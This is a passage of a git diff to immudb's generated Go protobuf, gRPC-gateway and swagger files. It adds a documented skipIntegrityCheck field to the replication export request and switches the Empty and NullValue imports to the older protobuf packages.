0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, - 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, + 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x0a, 0x12, 0x73, 0x6b, + 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, + 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, @@ -10333,14 +10348,14 @@ var file_schema_proto_goTypes = []interface{}{ (*Precondition_KeyMustExistPrecondition)(nil), // 124: immudb.schema.Precondition.KeyMustExistPrecondition (*Precondition_KeyMustNotExistPrecondition)(nil), // 125: immudb.schema.Precondition.KeyMustNotExistPrecondition (*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 126: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition - nil, // 127: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - nil, // 128: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - nil, // 129: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - nil, // 130: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - nil, // 131: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - nil, // 132: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - (structpb.NullValue)(0), // 133: google.protobuf.NullValue - (*emptypb.Empty)(nil), // 134: google.protobuf.Empty + nil, // 127: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + nil, // 128: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + nil, // 129: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + nil, // 130: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + nil, // 131: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + nil, // 132: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + (_struct.NullValue)(0), // 133: google.protobuf.NullValue + (*empty.Empty)(nil), // 134: google.protobuf.Empty } var file_schema_proto_depIdxs = []int32{ 4, // 0: immudb.schema.User.permissions:type_name -> immudb.schema.Permission diff --git a/pkg/api/schema/schema.pb.gw.go b/pkg/api/schema/schema.pb.gw.go index c52fa1246e..ef27ec7916 100644 --- a/pkg/api/schema/schema.pb.gw.go +++ b/pkg/api/schema/schema.pb.gw.go @@ -15,6 +15,7 @@ import ( "github.com/golang/protobuf/descriptor" "github.com/golang/protobuf/proto" + "github.com/golang/protobuf/ptypes/empty" "github.com/grpc-ecosystem/grpc-gateway/runtime" "github.com/grpc-ecosystem/grpc-gateway/utilities" "google.golang.org/grpc" @@ -22,7 +23,6 @@ import ( "google.golang.org/grpc/grpclog" "google.golang.org/grpc/metadata" "google.golang.org/grpc/status" - "google.golang.org/protobuf/types/known/emptypb" ) // Suppress "imported and not used" errors @@ -35,7 +35,7 @@ var _ = descriptor.ForMessage var _ = metadata.Join func request_ImmuService_ListUsers_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata msg, err := client.ListUsers(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -44,7 +44,7 @@ func request_ImmuService_ListUsers_0(ctx context.Context, marshaler runtime.Mars } func local_request_ImmuService_ListUsers_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata msg, err := server.ListUsers(ctx, &protoReq) @@ -223,7 +223,7 @@ func local_request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Ma } func request_ImmuService_Logout_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -240,7 +240,7 @@ func request_ImmuService_Logout_0(ctx context.Context, marshaler runtime.Marshal } func local_request_ImmuService_Logout_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -621,7 +621,7 @@ func local_request_ImmuService_Count_0(ctx context.Context, marshaler runtime.Ma } func request_ImmuService_CountAll_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata msg, err := client.CountAll(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -630,7 +630,7 @@ func request_ImmuService_CountAll_0(ctx context.Context, marshaler runtime.Marsh } func local_request_ImmuService_CountAll_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata msg, err := server.CountAll(ctx, &protoReq) @@ -869,7 +869,7 @@ func local_request_ImmuService_ServerInfo_0(ctx context.Context, marshaler runti } func request_ImmuService_Health_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata msg, err := client.Health(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -878,7 +878,7 @@ func request_ImmuService_Health_0(ctx context.Context, marshaler runtime.Marshal } func local_request_ImmuService_Health_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata msg, err := server.Health(ctx, &protoReq) @@ -887,7 +887,7 @@ func local_request_ImmuService_Health_0(ctx context.Context, marshaler runtime.M } func request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata msg, err := client.DatabaseHealth(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -896,7 +896,7 @@ func request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler runtime } func local_request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata msg, err := server.DatabaseHealth(ctx, &protoReq) @@ -905,7 +905,7 @@ func local_request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler r } func request_ImmuService_CurrentState_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata msg, err := client.CurrentState(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -914,7 +914,7 @@ func request_ImmuService_CurrentState_0(ctx context.Context, marshaler runtime.M } func local_request_ImmuService_CurrentState_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata msg, err := server.CurrentState(ctx, &protoReq) @@ -1297,7 +1297,7 @@ func local_request_ImmuService_DeleteDatabase_0(ctx context.Context, marshaler r } func request_ImmuService_DatabaseList_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -1314,7 +1314,7 @@ func request_ImmuService_DatabaseList_0(ctx context.Context, marshaler runtime.M } func local_request_ImmuService_DatabaseList_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -1487,7 +1487,7 @@ func local_request_ImmuService_UpdateDatabaseV2_0(ctx context.Context, marshaler } func request_ImmuService_GetDatabaseSettings_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -1504,7 +1504,7 @@ func request_ImmuService_GetDatabaseSettings_0(ctx context.Context, marshaler ru } func local_request_ImmuService_GetDatabaseSettings_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -1591,7 +1591,7 @@ func local_request_ImmuService_FlushIndex_0(ctx context.Context, marshaler runti } func request_ImmuService_CompactIndex_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata msg, err := client.CompactIndex(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -1600,7 +1600,7 @@ func request_ImmuService_CompactIndex_0(ctx context.Context, marshaler runtime.M } func local_request_ImmuService_CompactIndex_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata msg, err := server.CompactIndex(ctx, &protoReq) @@ -1677,7 +1677,7 @@ func local_request_ImmuService_SQLQuery_0(ctx context.Context, marshaler runtime } func request_ImmuService_ListTables_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata msg, err := client.ListTables(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -1686,7 +1686,7 @@ func request_ImmuService_ListTables_0(ctx context.Context, marshaler runtime.Mar } func local_request_ImmuService_ListTables_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq emptypb.Empty + var protoReq empty.Empty var metadata runtime.ServerMetadata msg, err := server.ListTables(ctx, &protoReq) diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index cfd22979e5..2406a3b167 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -842,6 +842,8 @@ message ExportTxRequest { bool allowPreCommitted = 2; // Used on synchronous replication to notify the primary about replica state ReplicaState replicaState = 3; + // If set to true, integrity checks are skipped when reading data + bool skipIntegrityCheck = 4; } message ReplicaState { diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index f3946e9ea6..38f91344bb 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -1771,7 +1771,7 @@ "description": "Must be a valid serialized protocol buffer of the above specified type." } }, - "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" + "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" }, "protobufNullValue": { "type": "string", diff --git a/pkg/api/schema/schema_grpc.pb.go b/pkg/api/schema/schema_grpc.pb.go index 41c7a50adb..1dd513cb54 100644 --- a/pkg/api/schema/schema_grpc.pb.go +++ b/pkg/api/schema/schema_grpc.pb.go @@ -4,10 +4,10 @@ package schema import ( context "context" + empty "github.com/golang/protobuf/ptypes/empty" grpc "google.golang.org/grpc" codes "google.golang.org/grpc/codes" status "google.golang.org/grpc/status" - emptypb "google.golang.org/protobuf/types/known/emptypb" ) // This is a compile-time assertion to ensure that this generated file @@ -19,27 +19,27 @@ const _ = grpc.SupportPackageIsVersion7 // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type ImmuServiceClient interface { - ListUsers(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*UserList, error) - CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) - ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) - ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) - SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) + ListUsers(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*UserList, error) + CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) + ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*empty.Empty, error) + ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*empty.Empty, error) + SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) // Deprecated: Do not use. - UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) + UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*empty.Empty, error) // Deprecated: Do not use. - UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) + UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*empty.Empty, error) OpenSession(ctx context.Context, in *OpenSessionRequest, opts ...grpc.CallOption) (*OpenSessionResponse, error) - CloseSession(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) - KeepAlive(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) + CloseSession(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) + KeepAlive(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) NewTx(ctx context.Context, in *NewTxRequest, opts ...grpc.CallOption) (*NewTxResponse, error) - Commit(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) - Rollback(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) - TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) + Commit(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) + Rollback(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) + TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*empty.Empty, error) TxSQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) // Deprecated: Do not use. Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) // Deprecated: Do not use. - Logout(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) + Logout(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) Set(ctx context.Context, in *SetRequest, opts ...grpc.CallOption) (*TxHeader, error) VerifiableSet(ctx context.Context, in *VerifiableSetRequest, opts ...grpc.CallOption) (*VerifiableTx, error) Get(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (*Entry, error) @@ -51,7 +51,7 @@ type ImmuServiceClient interface { // NOT YET SUPPORTED Count(ctx context.Context, in *KeyPrefix, opts ...grpc.CallOption) (*EntryCount, error) // NOT YET SUPPORTED - CountAll(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*EntryCount, error) + CountAll(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*EntryCount, error) TxById(ctx context.Context, in *TxRequest, opts ...grpc.CallOption) (*Tx, error) VerifiableTxById(ctx context.Context, in *VerifiableTxRequest, opts ...grpc.CallOption) (*VerifiableTx, error) TxScan(ctx context.Context, in *TxScanRequest, opts ...grpc.CallOption) (*TxList, error) @@ -60,9 +60,9 @@ type ImmuServiceClient interface { // ServerInfoRequest is defined for future extensions. ServerInfo(ctx context.Context, in *ServerInfoRequest, opts ...grpc.CallOption) (*ServerInfoResponse, error) // DEPRECATED: Use ServerInfo - Health(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*HealthResponse, error) - DatabaseHealth(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) - CurrentState(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*ImmutableState, error) + Health(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*HealthResponse, error) + DatabaseHealth(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) + CurrentState(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*ImmutableState, error) SetReference(ctx context.Context, in *ReferenceRequest, opts ...grpc.CallOption) (*TxHeader, error) VerifiableSetReference(ctx context.Context, in *VerifiableReferenceRequest, opts ...grpc.CallOption) (*VerifiableTx, error) ZAdd(ctx context.Context, in *ZAddRequest, opts ...grpc.CallOption) (*TxHeader, error) @@ -70,29 +70,29 @@ type ImmuServiceClient interface { ZScan(ctx context.Context, in *ZScanRequest, opts ...grpc.CallOption) (*ZEntries, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 - CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*emptypb.Empty, error) + CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*empty.Empty, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 - CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) + CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) CreateDatabaseV2(ctx context.Context, in *CreateDatabaseRequest, opts ...grpc.CallOption) (*CreateDatabaseResponse, error) LoadDatabase(ctx context.Context, in *LoadDatabaseRequest, opts ...grpc.CallOption) (*LoadDatabaseResponse, error) UnloadDatabase(ctx context.Context, in *UnloadDatabaseRequest, opts ...grpc.CallOption) (*UnloadDatabaseResponse, error) DeleteDatabase(ctx context.Context, in *DeleteDatabaseRequest, opts ...grpc.CallOption) (*DeleteDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use DatabaseListV2 - DatabaseList(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) + DatabaseList(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) DatabaseListV2(ctx context.Context, in *DatabaseListRequestV2, opts ...grpc.CallOption) (*DatabaseListResponseV2, error) UseDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*UseDatabaseReply, error) // Deprecated: Do not use. // DEPRECATED: Use UpdateDatabaseV2 - UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) + UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) UpdateDatabaseV2(ctx context.Context, in *UpdateDatabaseRequest, opts ...grpc.CallOption) (*UpdateDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use GetDatabaseSettingsV2 - GetDatabaseSettings(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) + GetDatabaseSettings(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) GetDatabaseSettingsV2(ctx context.Context, in *DatabaseSettingsRequest, opts ...grpc.CallOption) (*DatabaseSettingsResponse, error) FlushIndex(ctx context.Context, in *FlushIndexRequest, opts ...grpc.CallOption) (*FlushIndexResponse, error) - CompactIndex(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) + CompactIndex(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) // Streams StreamGet(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (ImmuService_StreamGetClient, error) StreamSet(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamSetClient, error) @@ -107,7 +107,7 @@ type ImmuServiceClient interface { ReplicateTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_ReplicateTxClient, error) SQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*SQLExecResult, error) SQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) - ListTables(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) + ListTables(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) DescribeTable(ctx context.Context, in *Table, opts ...grpc.CallOption) (*SQLQueryResult, error) VerifiableSQLGet(ctx context.Context, in *VerifiableSQLGetRequest, opts ...grpc.CallOption) (*VerifiableSQLEntry, error) TruncateDatabase(ctx context.Context, in *TruncateDatabaseRequest, opts ...grpc.CallOption) (*TruncateDatabaseResponse, error) @@ -121,7 +121,7 @@ func NewImmuServiceClient(cc grpc.ClientConnInterface) ImmuServiceClient { return &immuServiceClient{cc} } -func (c *immuServiceClient) ListUsers(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*UserList, error) { +func (c *immuServiceClient) ListUsers(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*UserList, error) { out := new(UserList) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ListUsers", in, out, opts...) if err != nil { @@ -130,8 +130,8 @@ func (c *immuServiceClient) ListUsers(ctx context.Context, in *emptypb.Empty, op return out, nil } -func (c *immuServiceClient) CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CreateUser", in, out, opts...) if err != nil { return nil, err @@ -139,8 +139,8 @@ func (c *immuServiceClient) CreateUser(ctx context.Context, in *CreateUserReques return out, nil } -func (c *immuServiceClient) ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ChangePassword", in, out, opts...) if err != nil { return nil, err @@ -148,8 +148,8 @@ func (c *immuServiceClient) ChangePassword(ctx context.Context, in *ChangePasswo return out, nil } -func (c *immuServiceClient) ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ChangePermission", in, out, opts...) if err != nil { return nil, err @@ -157,8 +157,8 @@ func (c *immuServiceClient) ChangePermission(ctx context.Context, in *ChangePerm return out, nil } -func (c *immuServiceClient) SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/SetActiveUser", in, out, opts...) if err != nil { return nil, err @@ -167,8 +167,8 @@ func (c *immuServiceClient) 